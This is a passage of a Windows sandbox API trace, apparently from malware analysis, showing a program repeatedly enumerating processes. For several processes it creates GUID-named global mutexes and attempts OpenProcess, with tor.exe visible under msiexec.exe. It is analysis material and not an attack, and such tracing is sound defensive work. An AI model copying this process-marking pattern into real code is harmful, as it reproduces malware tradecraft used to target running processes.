lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0122.097] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0122.098] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0122.099] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0122.099] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0122.100] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0122.101] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0122.102] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0122.102] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0122.103] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.104] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0122.105] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.105] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0122.106] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.107] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.108] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.108] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.156] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.157] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0122.158] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0122.158] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0122.158] GetLastError () returned 0xb7 [0122.158] CloseHandle (hObject=0x6cc) returned 1 [0122.159] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0122.159] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0122.160] CloseHandle (hObject=0x56c) returned 1 [0122.160] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0122.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0122.268] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.268] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.269] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.270] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.271] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.272] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.273] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.273] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.274] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.275] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0122.276] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.277] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.278] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.278] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.279] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.280] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.281] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.282] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.283] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.284] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.284] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.285] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0122.285] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0122.285] GetLastError () returned 0xb7 [0122.285] CloseHandle (hObject=0x6cc) returned 1 [0122.286] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.286] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0122.286] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0122.286] GetLastError () returned 0xb7 [0122.286] CloseHandle (hObject=0x6cc) returned 1 [0122.287] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.287] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.288] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0122.288] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0122.288] GetLastError () returned 0x0 [0122.288] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0122.288] CloseHandle (hObject=0x6cc) returned 1 [0122.288] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.289] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0122.289] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0122.289] GetLastError () returned 0x0 [0122.289] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0122.289] CloseHandle (hObject=0x6cc) returned 1 [0122.289] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.290] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0122.290] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0122.290] GetLastError () returned 0xb7 [0122.290] CloseHandle (hObject=0x6cc) returned 1 [0122.290] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.291] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0122.291] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0122.291] GetLastError () returned 0x0 [0122.291] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0122.291] CloseHandle (hObject=0x6cc) returned 1 [0122.291] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0122.292] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0122.293] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0122.294] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0122.295] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0122.295] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0122.296] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0122.297] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0122.298] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0122.299] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0122.300] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0122.300] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0122.301] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0122.302] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0122.303] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0122.304] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0122.305] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0122.305] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0122.306] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0122.307] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0122.308] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, 